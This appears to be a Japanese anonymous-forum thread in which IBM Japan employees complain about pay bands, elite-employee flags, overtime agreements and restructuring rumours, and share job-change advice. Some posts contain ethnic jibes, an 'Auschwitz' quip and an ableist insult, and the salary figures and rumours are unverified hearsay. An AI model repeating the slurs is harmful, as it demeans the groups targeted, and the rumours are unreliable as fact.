これで大企業のつもりかよ。代表幹事さんよ。

>>505
組合は無くても３６協定を結べるよん。従業員代表の選挙ってのがあるよね。
みんな面倒くさがって訳分からん若手にやらすけど、ほんとはす〜ごく大事な法制。もっと大切に活用しようね。
でも退職勧奨や単年契約には効かないみたい。過労死は防げる。


３６協定は、労基法第８条の「事業場」単位で締結する

労働者代表の選出にあたっては次の条件が満たされている必要がある。
　・事業場の過半数の労働者が、その候補者を支持していると認められる民主的な手続がとられていること。

労働者の過半数を代表するものを選任して３６協定を締結しなければならない。

http://www.campus.ne.jp/~labor/q&a/ww28index.html

＞＞507
個人の問題と会社の問題を混同する常識が無い人間が
いるから言っているのだよ

ERは毎年見直されます。つまり有効期限一年。
上位10%以外は本社人事のあずかり知らぬところ。

というのが、人事.松永担当のお客様向けセミナーでの公式コメント。

>>495
そう思っていたのは俺だけじゃなかったのね。
本給60万にはマジで腰ぬけたよ。

>511
世間相手にンな事いってんのか奴は。っていうかこの会社は。

>>496
>今年Band8になったけど移行措置で給料上がらず。B7相当の給与。
>ていうか手当てが無くなり手取りは純減＿|￣|○
マジかよ!

PBCで、
俺「給料上げてくださいよ」
ライン「今のBANDじゃこの辺りが限界。BANDをあげてください」
と言われたのに、やる気なくしたな。

これから入る会社ではない。
２０代は転職活動しておけ。
３０代は残された時間ないぞ。急げ。

>>513
はっきり言ってた。そのセミナーのPPT fileも持ってるよん。

悪びれた様子もなく話していたので、うちのお客さんと一緒に聞いていた俺
も呆れた。
お客さんはどう思っていたかは怖くて聞けなかった。

ERは少なくとも5名しってるが、俺の知る限り今は既に一名以外 全員剥奪されている。セカンドライン権限で剥奪可能と聞いた。
まあ実際、俺としてもこれがERとして納得できる、という人は少なかった。

2名は既に転職で居ない。1名は営業部長。もう1名はなんかスタッフ系のラインやってるらしいがあまり話は聞かない。
最後の一人だけは生き残ってる。つーかあの人なら日本支店長もありかもしれない。

ERより今はアケミ嬢のようにdiversityの方がよっぽど強力だと思う。

原資が少なくなると
マイノリティだの
ダイバーシティだの
いっていればいいからね。

ERの反対語として"M社員"というのが昔あったな。
M FLAGをたてられると即アウシュビッツ行きとなります。
ちなみにMは問題の略

U=Union=ユダ

ていうのもあります。

転職板みにきたら、すごいですね。参考になりました。
大企業安定志向の私などは、やめたほうがいいということがよくわかりました。

"Pay for job, Pay for performance"の考え方に賛成です。
なぜなら仕事内容や業務パフォーマンスに応じて報酬が変わるのは当然だから。

私の周囲の大半の社員も同様に賛成していますし、
そのことで実際に職場のモラルも大きく向上しています。
能力ある若手社員の早期Ｐｒｏｍｏｔｉｏｎを盛り込んだ
人事制度改革には多くの社員が歓迎していますし、
２００６年にはさらに大胆な改革を希望します。


業績によらず支払われている手当類については原則として廃止すべきだと思われます。

>>515
私（現役）も○クルート○○ブリックへ行って登録してきました。
会社の荒廃（入社数年）がいたので驚きました。
若手はもう初めているようですよ。

時々会社マンセーレスしてる人のことを「日本語が変だ」とか言う人いるけど。
それをいったら酷だよ。
彼らは覚えたての日本語で必死に頑張っているんだよ。
温かい目で見てやろうよ。

＞ERフラグの付いている椰子の見分け方
＞　・40以下　M:背が高くて笑顔が印象的。
あと、細面でメガネ。
要するに白人がイメージする日本人男性の顔をしていること。

春まで金融にいた某役員の顔が典型的。

>>524
おまいは頭が変だ。

評価
？ 多面評価
？ 明確な評価基準・項目
？ 毎年の進捗の見直しと一定率のER*入れ替え

早期発掘・・選抜
・20代後半からの早期選抜
・現在の業績が優秀で将来の幹部としての資質があると思われる人材を選抜
・ﾘｰﾀﾞｰｼｯﾌﾟ･ｺﾝﾋﾟﾃﾝｼｰ･ｱｾｽﾒﾝﾄ

評価
・多面評価
・明確な評価基準・項目
・毎年の進捗の見直しと一定率のER*入れ替え

ﾘｰﾀﾞｰｼｯﾌﾟ
・ﾘｰﾀﾞｰ候補の発掘年齢
・ﾘｰﾀﾞｰの育成計画の実施・達成度
・実施対象数ﾘｰﾀﾞｰｼｯﾌﾟ研修
・出席者満足度指数
・ｸﾞﾛｰﾊﾞﾙ化(海外ｱｻｲﾒﾝﾄ)
・ﾘｰﾀﾞｰｼｯﾌﾟ･ｺﾝﾋﾟﾃﾝｼｰ/ｽﾀｲﾙ

会社を辞める前提でなくても
転職活動して
どういう企業が
どういう職種で
どの程度の年収で
募集かけているのか
知っておくことは非常に大事。

本当に困ってから活動してからでは
遅すぎる。
条件が悪くなるし。
あせってばば引くしね。

"Pay for job, Pay for performance"の考え方に賛成です。

なぜなら仕事内容や業務パフォーマンスに応じて報酬が変わるのは当然だから。
私の周囲の大半の社員も同様に賛成していますし、
裁量労働制のような優れた制度の導入もあり、
実際に職場のモラルも大きく向上しています。

２ｃｈの書き込みもインド人にオフショアする点は
さすがグローバルカンパニー。

>>531
ですね。
外の世界を知らないと、本当に「井の中の蛙」になってしまう。

転職活動してみると今自分にどれだけの値がつくのか、どんなスキルが
あればもっと待遇がよくなるか？とか考えるようになるし。

>532
本当にそのとおり。
今となっては、事前にIBMの変化を察知してさっさと転職してしまった奴こそが、本当に賢い奴らだったと思う。
会社の文句や転職のウンチクだけは得意だけど、結局自分で何も出来ない奴が一番どうしようもない。俺もそのうちの一人だけど＿|￣|○

>>509
おまいは、従業員代表の選挙なんて一度でもやったことあんのか？

そうだ、公務員になろう。

３６協定は、２ｎｄ、３ｒｄあたりにうけのいい人がなって、
ちゃんちゃんと人事のためにマンセーしてしまうだけですが。

公務員になるのは、ＩＣＰ−ＰＭになるより難しいでしょう。
皆さん、考えることは一緒なんで。

>>539
法律的には、そんなもんは３６協定とは言えないんだよ。

>>540
そんな事言ってたら何も進歩しないで
時間だけが経過してしまうぞ。
何回失敗してもいいから俺はやりますよ。（現に2年ぐらい前からやってる）
この国は昔から不安定な経済基盤だし、今に始まったことではないのは
あなたも判っているでしょう？

>>541

法律的にどうであろうと、それでずーーーとやってますし、
すんでますが何か？

年齢制限にひっかからない年齢の場合、
転職に公務員を含めてもいいでしょうね。

>>543
だから、『日本ＩＢＭには３６協定は無い』というだけですが何か？

若いのだったら、社外への道は探せばありますよ。後は相性問題ですかね？
職務経歴書を準備して、大手の人材紹介会社へ登録申請してみましょう。
　２０代なら、
大学院時代の知識・技能をベースにした異業種・異職種（景気の良い大手の
第二新卒含む）転職はまだまだ可能であるし、中小企業の未経験（SAP）
コンサル（パラの設定ばかりとのこと）も当然ありだし、
　３０代なら、
ユーザー系の社内ＳＥ（ＩＴ企画）、マーケのＷＥＢディレクター、
営業系職種（コミュ能力活かす）なんかいいのでは？
中小なら、大手で４０・５０の人がやっている様な管理業務が、２０・３０
で出来るからね。

んで、その紹介会社について。　何処が、面倒見良いの？
　　リクルートエイブリック（霞ヶ関）、インテリジェンス（丸ビル）
　　キャリアデザインセンター（赤坂見附）、ＩＳＳ（半蔵門）、
　　ＪＡＣ（神保町）、、、、

裁量労働制の導入を歓迎します。

特に高い専門性を発揮できるサービス事業では、働いた時間数ではなく、
成果物や業績達成度によって報酬が決まるというのは
本来あたりまえのことだと思います。

また、時間にとらわれずにいままでよりも存分に働けることに
なったことも大きなメリットです。

多くの社員が強く感謝しています。
"最良"の労働制だと思います。

>また、時間にとらわれずにいままでよりも存分に働けることに
>なったことも大きなメリットです。

これでは労働基準監督所のおでましだなwww

”ＩＢＭ”というブランドと社員のステータスと”日本一はたらきやすい会社”である
職場待遇を考えれば、年収３００万でも”ＩＢＭ社員”というステータスを手に入れたいと
入社を志望している優秀な人はたくさんいます。

そういう意味で会社はもっと社員への「ロイヤリティ負担」や「ブランド料徴収」の
ようなものを要求してもいいと思います。現行の報酬の３０％程度をカットしても
ＩＢＭブランドにこだわる大半の社員は辞めないでしょう。

それをわかっていながら高報酬を支給している現行の給与制度の改革案は
社員に対しても非常に良心的な内容だと思いますし、
”はたらきやすい会社”をさらに推進する内容であると思います。

すでにこちらの部署でも１００％全員が署名・捺印を完了しました。

会社の業容拡大に大きな貢献をなされ、
偉大な功績を残されてきたマネジメントの皆様に感謝します。

>>547
Yahooでの検索結果
強く感謝　 >493件
大変感謝 >1,970,000件
心から感謝 >2,470,000件
言葉遣いには気をつけたほうが良いね。
いつもなんか一般的じゃないという意味でw

そういう意味で会社はもっと社員への「ロイヤリティ負担」や「ブランド料徴収」の
ようなものを要求してもいいと思います。

わろうた。
しかし、よーく考えてみると
会社が導入しているバンド８以上の単年度社員って、
ＩＰ利用なんかでＩへロイアリティ払うような契約になっているのは
ないか、とはっと思ったりする。

あくどい会社だ。。。

>>550
いつも根拠が示せないんだよな。
それならそんな旗振るのはやめてほしんだけど。

>>547
>>549
いつも根拠が示せないんだよな。
それならそんな旗振るのはやめてほしんだけど。

”ＩＢＭ”というブランドと社員のステータスと”日本一はたらきやすい会社”である
職場待遇を考えれば、年収３００万でも”ＩＢＭ社員”というステータスを手に入れたいと
入社を志望している優秀な人はたくさんいます。

”ＩＢＭ”という看板があるからこそ、お客様に相手にしてもらえるＣＲ．

”ＩＢＭ”という看板があるからこそ、お客様に相手にしてもらえるＰＭ．

”ＩＢＭ”という看板があるからこそ、お客様に相手にしてもらえるＳＥ．

社員の中には、まったくのフリーランスだとしてもお客様に対して単価に見合う価値を
できるほどのスキルのある人も確かにいます。

しかしながら、そうでないリソースは当然ながらＩＢＭのノレン代が
給料から天引きされてしかるべきかと思われます。

>>554
で？

社員の中には、まったくのフリーランスだとしてもお客様に対して単価に見合う価値を
できるほどのスキルのある人も確かにいます。


とっくに辞めてるよ。

>>554
社内の仕事をしている人たちに対してはどうなんだ？

なんか次元の高いのか低すぎるのかわからない話だね。
それほど優秀せなくても充分Iではやっていけるのは
間違いないと思います。
それは恵まれたすばらしいことです。
ブランドというよりも、
歴史です。

来週水曜日にあることが発表されます。

ERってなんだ？　またｸｽﾞどもの英語略字作成か？　
その訳語を読んで禿ワロス　あまりのセンスのなさに。
緊急救命室のゴロからとったのがわかりうるよいな低次元

REQCAT POPCONとかいろいろ作品あるよね。　　( ´,_ゝ`) ﾌﾟ

>>549 PJ1FRmn2
社員への「ロイヤリティ負担」や「ブランド料徴収」のようなものを要求してもいい
>>554 PJ1FRmn2
”ＩＢＭ”という看板があるからこそ、お客様に相手にしてもらえるｘｘ

世間知らずの、ばかＭｇｒじゃねぇの。

どの会社／業界だっていっしょだろ。
ビル作る時でも、清水建設とか飛島建設とか有名どころに頼むだろ？
いくらスキルがあっても個人にゃ頼まねぇよ。
看板があるから安心して発注するし、会社として責任を持って推進するわけだ。

全員国家試験をとおった弁護士事務所じゃねぇんだぜ。

おまい、どこに飼われている犬だ？　犬のくせに出世しねえよ。

>>557
おまい正しい。
会社はレベニューや稼働率などのいわゆる外で稼いでくる営業やＳＥには
こういう言い方をするが１円も稼がない高級鳥のオサーンには信じられな
いようなアフォな管理仕事やらせて遊ばせている。
既出だが管理部門の椰子を管理していない。

>>554
しかしながら、そうでないリソースは当然ながらＩＢＭのノレン代が
給料から天引きされてしかるべきかと思われます。


あほか？こいつは。
どこの世界に社員に暖簾代天引きなんてあるんだ？
公で話してみろよ？あふぉ扱いされるから！
少しは常識を身につけてから話さないと恥かくぞ！

>>554
ところでおまい。どこの部門でどんな難しい仕事して会社に貢献してんの。
教えてくれ。

脳性麻痺に侵されてるやつ少数　藁

いくらＩＢＭでも年収３００万円で働くのは優秀ではないよね？

>>566
同意。IBC○で320万出すと言われたらそっち逝きそうな自分が怖い。

>>567
オマエみたいに優秀でない奴しか入社希望しないというハナシなのだが…

つーか年収300万は１年目でも越すから
考えても意味なし

>>569
仮定の話に決まってんだろ？
日本語の読解力も無いオマエの存在が”意味なし”だよ。

そもそも何で300万円なんだ。森永卓郎の影響か？
http://books.yahoo.co.jp/special/money/bestseller/03/index.html

>>571
数時間前の過去レスくらい読んでから書き込みしれ！

300万円の根拠はどこにも記載されていないと思うけど？

”ＩＢＭ”というブランドと社員のステータスと”日本一はたらきやすい会社”である
職場待遇を考えれば、年収３００万でも”ＩＢＭ社員”というステータスを手に入れたいと
入社を志望している優秀な人はたくさんいます。

そういう意味で会社はもっと社員への「ロイヤリティ負担」や「ブランド料徴収」の
ようなものを要求してもいいと思います。現行の報酬の３０％程度をカットしても
ＩＢＭブランドにこだわる大半の社員は辞めないでしょう。

現行の人事制度改革・給与制度の改革や裁量労働制は、
社員に対しても非常に良心的な内容だと思いますし、
”はたらきやすい会社”をさらに推進する内容であると思いますし、
職場でも歓迎されており、モラルも向上しています。

すでにわたくしたちの部署でも１００％全員が署名・捺印を完了しました。

会社の業容拡大に大きな貢献をなされ、優れた改革を実施され、
偉大な功績を残されてきたマネジメントの皆様に感謝します。

>>574
それは根拠じゃないと思うけど。
労働者の平均給与次第だけど。今の給料から下がったらすぐ止めるよwww
http://www.nta.go.jp/category/toukei/tokei/menu/minkan/h16/01.pdf

300万というのは心理的に落ち着く数字だからだろ?
400万だと普通すぎるし、200万だとありえねえ数字だしで。
つまり額面が問題じゃなくて、他社と比べて低い給与で不満
な場合は300万という言葉で表現しているだけ

転職をあおる書き込みが多いが、特にSEはもう少し考えたほうがいいよ。
IBM入って実力がつくのは見ているとやはり最短で4年目くらい。
普通は5年。さらに人脈作りなど考えると30歳位までは吸収することが多い。

いきなり外に出る前に、社内で異動してみることをおすすめします。
特にデリバリー系はマルチスキルを身につけるか、CITAを経験してから外に出てもいいと思う。
会社辞めるつもりでやるなら、過労死するほど働くことはないしな。

営業も、今はCRM制度で単能の営業が増えてるけどやはりCRを経験してからがいいと思う。
永くCRやるのはおすすめできないがな、、、今は本当にCR受難の時代だから。

TOEIC700くらいあれば（今の若手営業なら楽勝だと思うが）外資系IT会社でいくらでも仕事はある。

>>575
>>574 は、根拠じゃなくて話の発端だよ。┐(´ー｀)┌ﾔﾚﾔﾚ

きのう発売のフライデーに冬のボナス特集がありました。
IBMの35歳平均は150万、年収1150万ってあったのですが、
このスレに書かれている年収と随分違います。
どちらが正しいのでしょうか？

>>579
どちらも正しいです。

１５０万以上もらっている人はこのような掲示板には寄り付きませんから。

>>579
　　　∩＿＿＿∩ 　　　　　　　　　　　　
　　 | ノ 　　　　　ヽ 　　　　 　　
　　/　　●　　　● |　　 　　　　))　 単純にだまされないように
　 |　　　　( _●_)　 ミ 　 ∩∩　(　　気をつけるくま
　彡､　　　|∪|　　／　 :=| |===*:::::::
/　＿＿　 ヽノ　　＼ 　 /⊃））) 　　　　　
(＿＿＿） 　　　 　　＼/　　/ 　　　　　
￣￣￣￣￣￣￣￣￣￣￣￣|

このスレ
８日で580
ものすごいスピードだな
前スレは。。。２０日で終了か　　Power5+並

ペンギンさんのソフトですから。

35歳平均で150万、年収1150万か・・・
このくらい貰っているのも居るんだねえ。

IBMに転職して年収下がったからなあ。
現在の2割アップをコミットしてくれているところがあるから
そこに行こうかなあ・・・もう少し探してみようかな・・・
迷うところだ。

裁量労働制の導入を歓迎します。
---------------------------------

特に高い専門性を発揮できるサービス事業では、働いた時間数ではなく、
成果物や業績達成度によって報酬が決まるというのは
本来あたりまえのことだと思います。

また、時間にとらわれずにいままでよりも存分に働けることに
なったことも大きなメリットです。

多くの社員が強く感謝しています。
"最良"の労働制だと思います。

ＩＢＭは女が働きやすい環境のある会社なんだろう。
数年前に新聞になんか女だけが何人か載っていて私たちはプロ中のプロとか
いうことが書かれていた広告みたいのが載っていたことがあったし。

しかしなぁ、みんな内勤のスタッフ系をぼろかす言うけど一回やってみな。
昼寝して定時で帰っているのは50歳くらいのおっさんだよ。40歳くらいまで
はそりゃあもうこき使われる。平均年齢が高い(Sだらけ)から40歳でも若手。

俺だって営業のときはGLだったのに、いまいるところじゃ年齢順で下から
10%内。

営業も良し悪しだが、スタッフも良し悪しだ。

>>587
そんなとこに左遷されるようなヤツに言われてもナァ・・・

>>587,588
どちらも真実。どちらがいいとも一概には言えない。
まだ営業経験あるからどちらもいいほう？？？
Iの売りはいまでも各種営業力のみです！！！！社外価値ではね。。。

スタッフのラインは、通常 業績不振でバッテンがついた元営業部長。
その配下は疲れちゃって鬱病になりかけた営業か、営業くずれの女（原因は体力不足など様々）
とりあえず締めの前後は忙しいらしいが、、、営業の心身両面の激務とはくらべものにならん。

>>584
下がるよね。深く同意。追いつけないんだこれがなかなか手ごわい。
環境によると思います。市場価値が上がらないなら・・・・。

営業経験のないスタッフが大半なのが問題。
頭でっかちで机上の理論で行動するから困る。

>>574へ
＞”日本一はたらきやすい会社”
と肉桂に書かれたのは去年の話。今年は首位から転落しています。
君はおそらくインドか中国の人だろうから意味がわからないだろうけど。

とりあえず相対評価をやめてくれ。
嘔吐死さんよ。

今週水曜日にあることが発表されます。

>>592
たしかに営業、SEの現場を知らない人間に数字のコントロールをさせるのは
危ないと思います。表面的な数字でしか判断できないから、、、、
表面的な数字合わせに走りますね。IBMの経営指標の数字はどれも問題ない
数字なのに株価が下がる理由がわからないとおっしゃった方がいましたが。
現場を知らない弊害がもろに出てると思いましたね。
もちろん誰も指摘しないんですが。部門のエリートですからね。
将来を考えたら何も言わないに越したことはないのでしょうね。

数字を見たら悪い数字はそれほど目立たなかったんでしょうね。
昨年までは。
それが今年は急にどうしたの？？？ってことなのでしょう。
でも現場ではもう３年前からそうでしたよね。
現場では別に何をいまさらという感が否めませんが。
これを数字の魔力とでもいうでしょうか？？？

>>595
>今週水曜日にあることが発表されます。
だからなんなの？

>>598
同意。もう何が発表になっても想定の範囲内です。
何を遅出しで小出しにじゃんけんしてるのかと、、、
年末まで何かを持たせようと必死なのが見え隠れしますね。。。

来年以降は想定の範囲外です、ということですね。

>>595
2chに書き込んだ人間を何人か特定してて
懲戒解雇発表だったらすごいな。

>>601
てか、そのくらい当然やってるよね？
2chと提携して、iの人事名簿と照合して
来年の３月締めでfarewellだよ。

>>602
「2chと提携して、iの人事名簿と照合して」って意味わからん。
2chから何もらって人事名簿と照合するんだか。

>>596
ＩＴバブルが終わったら、株価下がるの当たり前。
株っていうのは、いろんな要因で上がったり下がったりするのさ。
ろくな分析もできないくせに、なに偉そぶってんだよ。

まあ、現状は「はたらきやすい会社」ですでにダウトだわな。
荒廃した職場の雰囲気、噴出する会社やラインへの笑えない不満、
表向きの情報から激しく乖離した実際の年収額。

社員への「ロイヤリティ負担」や「ブランド料徴収」なんて、頭が狂っているとしか思えない。
どこの無能マネジメントかね、こんなキチガイなことをほざいてるのは。

いよいよ社長交代なのか? ＜水曜日

六本木本社を明け渡して、いよいよ落城なのか?
全員自決前に逃げたほうがいいのか?
だれか教えて

>>606

企業価値の低下をもたらしかねない、こういう発言を

一般の掲示板に載せるにあたって、

もし社員であれば、所属長の内容の事前レビューと許可をえているのか？

>>608
内容は別にして、無駄な空白行やめてくれないかな？スクロール増えるし。

おまいら何言ってるんだ？
ゆとり度ナンバーワン企業に対して

>>607
もう間に合わないよｗ
タイタニックと運命をともにしよう。

>>608
企業価値あがるかもよ！つーか、あがるんでないの？

>>612
賛同。少なくともマスコミにそれらしいこと台本なしでしゃべれる（英語でも
可）なら確実に付加価値が上がり、話題性も出ると思います。
トップは社会的な存在感も重要ですよ。

タイタニック号からの早期脱出を！　救助用のボートは限定されています。

>>614
そんなもの日本人用にはないのでは？まじな話ですが。

>>608
所属長のレビューと許可をうけてますがなにか?

水曜日に日本からの撤退が発表されるってほんと？？？

>>617
想定の範囲内ですが、ほんと？？？という時点でほんとらしくないよ。
いくら外国人でも、４Ｑ施策を発表してすぐ撤退はないと思いますね。
１Ｑくらいはいくら非情な外国人でも様子を見ると思うのがふつうです。

いや、５年かけてジョジョに撤退って発表ならあるかな、と。

APHQのGCG移転か？

>>619
こんなことがまじで書き込みされる時点で、
どうなってしまったの？という思いが強いけど現実だよね。
５年かけてJapanがGCGに統合計画なら本当にありうるね。
GCGなら製造・研究・販売拠点としてAPの中心なのはもう間違いのない
事実だから、AP強化のためのWW施策として発表されればうなずけるね。
そのために待遇のAP平均化を１年で実現します、なんてそれらしくて
いいね。ますは、冬のボーナスの50%Cutと段階的廃止とかねｗ

>>605
>表向きの情報から激しく乖離した実際の年収額。
これには迷惑している。
単に世の中が現実を知らないのか？それとも会社が現実を外に出さないのか？

でもなぜにこんな小出しに２０年分以上の重大発表が相次ぐのか？
それもこっそりこっそりと。
何だと最初は思ったけど、最近はなんとも思わなくなったね。
感覚が麻痺してるのが自分でもよくわかる。

>>622
いや見方によっては最後の砦かもしれないよ？？！！

先日のフライディ：日本IBMの35歳平均は、暮れボーナス150万、
年収1150万だよ。頑張れよ。
（このスレの常連は、バーが高すぎて平均も行かないけど）

おれ、35歳。
年収750万円、去年の暮れボーナス100万ちょっと。

平均より400万も下か(藁

>621
GCGって何ですか？

>>626
実際は、充分平均レベル以上なんだけどね。雑誌には勝てませんねｗ

>>625
これはどんな計算になるの？ボーナス引くと850万で、70万/月。
70万/月なら、ボーナスは200位だとおもうけど・・・。

人事がマスコミに飲み食いさせて書かせた記事に意味はなし。

オ＊＊ン＊ャートだって操作される時代ですよ。

>>626
職種は？その年収、相当低いぞ。

>>626
今でそれなら悪くないほうだよな。
ただ今後どうなるかはわからんが。

実はいま転職活動を始めてるが（30代）、
給料を言うとどこの紹介会社でも驚かれる。
「この経歴なら最低でも850万は行っておかしくない」
と複数の紹介会社で言われた。
実際、いくつか紹介してもらった案件を見ると、
ちゃんとした名の知れた会社で同じような仕事で800万〜というのが
ごろごろしてた。

ま、一度しかない人生だから、よく考えないとな。

雑誌記事のソースが何なのか知らんが、
おおかた広報かどっかからの資料を鵜呑みにしたのかね。

>>626　>>632
俺は年齢それほど変わらず、更に200万下だよ。。。

>628
そのデータは、去年も同じのがでてましたよ。35歳で、1150万程度の。
多分、バブルちょっと前の入社組で今だと、40歳前後くらいか、それ以上の
人達のデータじゃないかと思います。

最近だと、1をとっても、基本給の昇級は、部門業績に左右されて１万円いかない
場合もあるので、24歳入社(院卒）で数％の上位に入り続けて
11年努めあげて、基本給で月11万の増加、ボーナスが1評価で年200万くらい？
(僕の歳で、１を取ると半期で100万くらいなのでもう少し行くかも）
と考えると、これからＩＢＭに入る人は、あり得ないトップの成績を取り続けたとしても
35歳で700万行くか行かないか、なのでは。と思います。
（普通の成績だと、昇級は1000円〜5000円くらいだと思いますし）

雑誌で高級なのは、どんな人でも30歳ちょっとすぎると1000万以上の
給料をもらえていた（と言われている）時代の名残でしょう。

>>633 >>634

ちょっと待て、本当か？？もちろん税引き前だよな？？
俺が恵まれてるだけなのか？？？
俺はちょい年齢下だが、同期では俺よりもらってる奴もいるぞ。

ぶっちゃけ組合員の
やる気なさ杉年収ばっかだからここw

＞「ロイヤリティ負担」や「ブランド料徴収」
CoCo壱の店長ですか？

>でもなぜにこんな小出しに２０年分以上の重大発表が相次ぐのか？

CHQは日本から撤退希望。しかし現地人Mgtが抵抗してバトル中。
そのせめぎあいの中から妥協の産物が次々と空から降下中ｗ

外資ではよくある話です。規模が大きい分確執も長く大規模だね。
やがて部門ごと細かく切り離して、譲渡、持ち株、ＪＶ、
なんでもありでしょ。

>>636
おまいみたいなｳﾞｧｶそうな奴より年収低いのは、かなりショックだよ(;＞_＜;)

>>627
Grater China Group
中華人民共和国＋同国香港特別行政区＋中華民国（台湾）

日本企業は通常、これらの国・地域を別々に扱うことが多いけど、米系の企業は一括で考えることが多い。
以前は香港から中国本土を見たり、あるいは中国本土に進出した台湾企業が台湾から管理したりということ
が多かったけど、最近は上海あたりから香港・台湾も管理していることが多いかな。
まぁ、一般の米国人にしてみれば、政治や人種の違いなんて関係ないし、言語の違いも英語を使わせれば、
それで済むので一括で扱っている。ちなみに、奴らから見ると韓国と北朝鮮も大きな相違はない。海外での
MTGでUSの奴がIBM韓国の奴に「北朝鮮も担当しているのか？」と普通に質問していた。

まぁ、そのうち、北アジアの周辺諸国を含めてGCGと呼ばれる日も近いということだね。
当面はASEANをシンガポールで管理して、北アジアは日本・韓国も含めて上海あたりで管理、ANZは経済規模
では単独で成立しない地域だけど、英語ができるのでUSのメッセンジャーとして小判鮫活動を継続すると思
うよ。

物価水準を無視した給与体系の押しつけ、日本は祝日が多いからという理由での有給休暇付与日数の削減
（これはそもそも有給休暇の完全取得が難しいので実際の影響は軽微だな）、そのくせ、GCG幹部やANZメッ
センジャーは日本進駐時には高級マンション住まい＋長期の帰国休暇の付与など何でもあり。

639がいまいいこといった。

>一般の米国人にしてみれば、政治や人種の違いなんて関係ないし、言語の違いも英語を使わせれば、

>海外でのMTGでUSの奴がIBM韓国の奴に「北朝鮮も担当しているのか？」
和露歌。

漏れも、US出張したとき言われたのは「Are you chinese?」だった。
米国人が日本人と中国人を見分けられるわけもなし。

どうせ、イエロー・モンキーでひとくくり。
送金さえしてくれればいいのですｗｗｗ

>>638
なるほど〜。フランチャイズの本部と加盟店みたいな感じにしたいのか。
IBMはのれんだけ貸してやるから、あとは個人店長が頑張れ、と。
で、個人店長は、儲かろうが儲からなかろうが本部にのれん代はきっちり
納めろってことか。

ホント組合員っぽい書き込みが日夜続いてるな
こんなとこで騒いだって時間の無駄だよ

>>641
しかし、初歩的なスペル・ミスするよなぁ。それだけでも説得力なくなる。

>>644
セルフ・エンプロイド型の適用拡大ってそういうことでわ？

儲からないＣＲやＳＥはＰＢＣで切り捨てて翌年から契約打ち切り。

会社に批判的な意見＝組合としか考えられない
知能の低い奴は来なくていいよ。

わかったよ
もう書きこまねえよw
2ちゃんで愚痴ってるやつの
知能が高いとは思えないけどな

>>646
うっ、すまん！
しかも初っ端で間違えているし。

>>650
読み始めたとたんに、「あっ、こいつ馬鹿だ」と分かるもんなｗｗ
細かいこと言うと、「IBM韓国」じゃなくて、「韓国IBM」か「IBM Korea」。
こういうことも体に染み付いてないと外資系社員失格だね。

そんなつまらないことにいちいち反応して、何か嫌なことでもあったんですか？

>>652
重箱の隅をつつけないようなら外資系社員失格だね、と断罪されるぞ。
頭の悪そうな「ｗｗ」付きで。
ちなみに、俺もどうでもいいから「IBM韓国」とか「IBM中国」とかしまいには「IBMアメリカ」とか
平気で使うけどね。

ibm=real 外資じゃないでしょうに。

>>639
まじかいな？もう逃げるしかないか？せめてあと10年は無理？？？

>>639

最近のリストラみてれば、Ｊに抵抗力なんかなくなっているのは明らか。
今頃、まじかいなといわれても、それ自体まいじかいな？

各事業部の存在意義、成長性、本体への貢献度＝送金額が
見えない組織はどんどん廃棄処分です。
これは株主への説明でもアメリカトップが明言していることですよ。

アメリカの株主はもの云う株主だから、トップはもう刈り続けることを
約束させられます。２年ぐらい前に株主総会で云っていなかったか。
事業部ごとに別会社として利益を競わせて、株主が満足する利益を
出せないところは順次捨てるって。で、玉が足りない場合はＭ＆Ａで
増やせばいいと。

いまのＪには、１００％子会社も含めていらない部署はいっぱいあるわけ
で、リストラには当面困りません。

>>653
それにしても、あの程度のスペルミスで馬鹿と決めつけられたらｗｗ
うちの部署の2nd/3rdの大半は大馬鹿者になっちゃうもんなｗｗ
でも、重箱の隅をつつくのは得意なので外資系社員としては合格かもｗｗｗ。

細かいことをいうと、上級マネジメントと呼ばれる人間も「IBM韓国」とかｗｗｗ
いってるので、651がモノを知らない外資系失格社員ってことだｗｗ

>>658
そんなひどい状況では、もう長いことないのか？？？

>>659
よかったあと10年は安泰そうですね。。。

>>661
>>662

いや。
Ｉは永遠に不滅ですよ。
売れない店子は放り出す高＊屋方式ですから。
Ｉののれんは消えません。
消える＝使い捨ては、従業員ですよ。

資本があってそれを一定利率で回せば困らない人たちと
日々の食い扶持を心配しなければならないその他大勢との違いです。
さあ、あなたも堀衣紋を目指せ。ｗ

>>664
フロリダ老人への送金を増やすことが求められているのでしょうｗ

SIerがＩＢＭと協業すると面倒くさいこと、わがままが多くて迷惑と
考え始めたせいか、SIerが直接お客様と契約するケースが増えていますね。

IBM SEはコストが高いからいいことだと思います。

なるほど、もうIBM-J社員は不要かもね。
もう箱崎に独自ノウハウは何もなし。
どぶ板営業するほどの度胸もなし。
SIerへの技術移転はここ数年で急速に進んだので
もう技術者不要（というかもういないね）
お客様からも社内からも相手にされない営業は打つになり
もう消え去るのみか。
あとは製品のみ生産国からSIerにdirect供給すれば日本では
誰も困らないわけですね。
納得しました。いいことです。

去年某ERPベンダーに転職して年収200万ほど上がったのですが、出戻り
したら今の給料で戻れるのかな？でも、こんな状態じゃ出戻り無理かな。

営業が空洞化したためはどうかはわからないが、
ＴＲＬが現場に出ていますね。
関係あるのかな？

>>668
Sならありかもね？今×0.8くらいがIの相場ですね。
コネクション活用してみれば？？？？

>>669
TRLに仕事がないからでしょうね？
でもどこもやりたがらない亜流の組み込みソフトに関わってるようでは
先は長いよ。もっともうかる商売いくらでもあるのに。
Iのスピードでは着いていけないのは充分承知してるけど。。。

>>668
逆に下がると思う。
やめとけ。何もわざわざ鬱になりに戻ることはない。

そういえば数年前から某宗教（真○苑）の信者がまわりで増えてるんだが
これも職場荒廃の副産物か？

これも職場荒廃の副産物か？


個人的に被害を受けるだけだからほっとけ。
飲み屋で騒いでお出入り禁止になったり、
ホステスが認知を迫って受け付けに殴り込むよりましだ。

>>669
WW戦略の一環みたいだよ。USでも同じことしてるっぽい。

>>671
YSLとごっちゃになってないか？

ＹＳＬって藤沢ものが逃げ出す陣地として急ごしらえしたところじゃなかったっけ？

転職活動に励んでいる若手ＩＢＭ社員、結構多いのだろうなぁ。
世間の景気が良く採用意欲が高めの今、が勝負時だからね。

ちまたは過去最高の利益計上。
冬のナスも過去最高らしいけど、
このスレの連中には全く縁のない話だなww

JALは給与一割削減。
若手のリストラより、こういう施策を展開してほしいが・・
日本的すぎるのかな。
役員賞与返還とか。

このスレ見ると冬のナスがなくなるのではないかとまじで心配。

SEひとりを養成するのに数千万と数年かかるのにやっと
育てた若手をよその会社にノウハウごとさらわれて行くのを
見てIのマネジメントは何も感じないのか?

おいらはもったいないと思います

>>680
リストラ目標が達成できてマンセーです。ノウハウよりコスト削減。
WW施策に誰が逆らえますか？？？

>>680
